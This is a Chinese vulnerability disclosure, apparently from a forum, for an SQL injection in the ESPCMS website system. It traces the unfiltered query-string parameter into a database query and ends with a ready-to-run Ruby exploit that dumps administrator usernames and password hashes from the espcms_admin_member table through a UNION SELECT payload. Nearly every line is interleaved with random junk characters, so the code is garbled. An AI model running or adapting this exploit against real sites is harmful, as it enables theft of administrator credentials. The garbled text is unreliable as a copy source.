0×0 漏洞概述0×1 漏洞细节, M4 u y" A( M# \6 U
0×2 PoC
/ c! _7 Q3 m! a4 Y4 o6 H# V& f
4 K9 h# v$ W' B
7 [; `& T! d, T" U8 j: [8 \0×0 漏洞概述! h2 ?4 j8 V6 ^% L
& M3 @* K4 Z4 e# F6 V5 @) _易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。6 d r7 f& M: A) n
其在处理传入的参数时考虑不严谨导致SQL注入发生
0 y$ l/ J0 [2 r Y2 o) x/ q$ B! |6 y9 O0 p1 n- O6 [3 o6 x
! A5 h0 m+ A+ f6 `
0×1 漏洞细节 v7 I* K$ a9 q; T
9 T* f: f" S' p1 B$ Y. {变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。! q" ` L' t$ K' }% A4 s$ w- i
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。* M* g' @% A9 \* g
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
$ _. P1 R- n; c) F' J. a2 o
b1 j/ m- `6 U在/interface/3gwap_search.php文件的in_result函数中:
( O9 P# u: P* C( D5 }: k; \
" K% B# a# M3 E, Q6 V% ?: R5 B" c; ^- O9 S' M
" S6 k/ |% D! v3 b4 t; a @ function in_result() {. }. `' z- _' C$ h
... ... ... ... ... ... ... ... ...; n2 h+ F1 C# f0 n( H3 R6 `1 G7 Z
$urlcode = $_SERVER[ 'QUERY_STRING '];7 A. \; F4 x5 k1 @! @: q! h; o1 V
parse_str(html_entity_decode($urlcode), $output);
, n5 r+ o7 x4 W ]7 o' v6 X+ ]$ _7 I# k
... ... ... ... ... ... ... ... ...1 Q' M% G8 ^) S4 W
if (is_array($output['attr' ]) && count($output['attr']) > 0) {# \+ k U2 D# I* H, a
) c9 Z" l- W7 ~ `; S* i, J
$db_table = db_prefix . 'model_att';
' T1 R6 y) o- L7 I7 B9 `5 p2 D4 v
9 s, x5 k: R! Y" d' T/ h" R, A+ X6 R a foreach ($output['attr' ] as $key => $value) {7 |& m6 @; ^" V7 ?- V0 ]% U$ i$ m. K
if ($value) {
0 B$ m" \# y8 Y# f1 T2 O- R, A
) R% V9 v9 {: _* j) ` $key = addslashes($key);8 G- J, n# {( g P
$key = $this-> fun->inputcodetrim($key);
' ]) | G6 Y. Z; ?2 V6 T $db_att_where = " WHERE isclass=1 AND attrname='$key'";
5 g7 T8 W4 B- \0 ~' z$ m $countnum = $this->db_numrows($db_table, $db_att_where);4 h2 d7 @4 U0 Y( h% a6 A) P
if ($countnum > 0) {
7 O( g3 q: {. g- M$ Z. Y $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
) n* d# i5 b# o2 T- q }
, M: d, b; D& {8 o0 ?+ J }% X8 }# v& b) ]
}! d2 c1 |, K- v* c, V
}
% {5 s& s2 K1 T" K' X if (!empty ($keyword) && empty($keyname)) {
+ K* W X! B/ }: o $keyname = 'title';+ ~& B1 }& \2 r% i
$db_where.= " AND a.title like '%$keyword%'" ;% r7 ?! ~, Y: T, D" J
} elseif (!empty ($keyword) && !empty($keyname)) {2 p) Y/ l1 e! I' a- {5 c1 f9 y
$db_where.= " AND $keyname like '% $keyword%'";
: T d+ c5 L6 w8 k! v: F' V }
) J+ g- z/ k" b $pagemax = 15;: y) p, I/ b. L
( W+ \& l) N0 a
$pagesylte = 1;. t5 C* \6 W" I6 m Y. L* k3 O
+ O: @; k- m# f0 T- `
if ($countnum > 0) {
- E7 o9 |$ x) b; @# w7 U3 d' v4 A
# W* Y+ @# O0 m8 ?3 D. d H $numpage = ceil($countnum / $pagemax);+ k9 J2 c* `: H- Y; [& A
} else {. b/ Z( n; z8 L' u9 a R q
$numpage = 1;+ S" R3 \8 f& J& n0 a5 J2 Z6 A. |0 J
} V, c' ?- R; y- M1 L& x
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;8 }$ Z/ C, W8 H7 b$ e0 {4 a
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
% l5 n% c2 \5 R+ d5 \& g$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);1 T" y* \- S4 a# W3 Q- u# N
... ... ... ... ... ... ... ... ...
5 ^1 C9 N; I% M, {7 s }6 t) k6 N" |( ?3 i/ ~
' \. G9 d; Q& p0 x6 T
\: q" H9 k8 V( O9 [0×2 PoC
8 P- j7 i/ e/ p0 w# t$ G4 X [% d
) O4 z( F; ^# @! m8 ]! R ]% r9 c+ M. G9 Z1 ?3 h
& k! Y2 f, N- `8 D! D& l- Q
require "net/http") o. l6 L9 u J- {! f) \/ w
3 @; |* B0 c) B$ G+ U3 {def request(method, url)
9 C9 a1 k& U" m0 t; S6 ?; W+ n2 c if method.eql?("get")
6 f' K7 n8 |4 f7 O0 e+ c) g uri = URI.parse(url)# q/ o0 Q7 p9 O8 @% X& H! s0 ]
http = Net::HTTP.new(uri.host, uri.port)
" @% N- n5 E( x( P5 g response = http.request(Net::HTTP::Get.new(uri.request_uri))8 }/ Z3 J2 G4 C+ Y- p
return response. r$ O( N+ V. ]9 H" G6 z
end
6 i4 g) [+ \+ j; P: ~6 xend) D6 ^3 b0 l, Z
- c* N4 w9 ?1 |5 c! Vdoc =<<HERE: e$ N. e8 j5 u( I+ O
-------------------------------------------------------
* s" r* O2 N, S5 ?* G- ]Espcms Injection Exploit
4 Z, V0 C9 J9 H, Z$ y$ T* `Author:ztz8 m6 o0 N# [5 _! A4 U5 X+ {
Blog:http://ztz.fuzzexp.org/( ~! ^0 |. @. p2 z* i
-------------------------------------------------------/ k+ i/ i/ t2 C- E- \, A6 s3 Q7 t
1 l8 {7 c7 j7 _: d- \. |
HERE) d8 S* Q2 h; c. p4 k. P/ |) B2 y
* ^1 g" j3 k* J9 qusage =<<HERE3 c/ |; o1 [1 D/ D4 }$ h3 |
Usage: ruby #{$0} host port path. |( i) Q8 ?7 ?5 [2 E. S
example: ruby #{$0} www.target.com 80 /
. {7 U; B7 v: zHERE$ D0 C# C' c: b$ o; v
* M" P4 E5 T+ L; I: o( b% k
puts doc4 k- o$ B9 }' z+ Y* w( Y4 t
if ARGV.length < 3" K+ _2 h/ c1 U
puts usage
! K0 a! {# E+ x+ Qelse3 |! \" t) z5 v5 s9 G g
$host = ARGV[0]
2 b# \: l: |. H8 ^ $port = ARGV[1]
6 G0 h1 W0 V0 ^; N: U8 f $path = ARGV[2]
1 s3 f$ b" n1 L' U$ X
2 e" K" O/ Y' T+ m puts "send request..."
# [6 \3 {( i$ a3 h- V3 y0 g' ?, R url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&& a6 a6 _1 B- X P
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13+ L2 k6 _$ E, W$ ^; f
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,277 |/ n; m1 P( Q
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
4 f: k$ K" ~: i3 {1 ` response = request("get", url)
G$ x' q3 {+ r+ U8 \9 F result = response.body.scan(/\w+&\w{32}/)
' R: z A; X+ X3 g# n5 | puts result
5 u( a, K9 j9 F/ mend
/ j/ E( m4 D" x5 c; \4 Y4 z2 {5 T7 }4 z$ j
|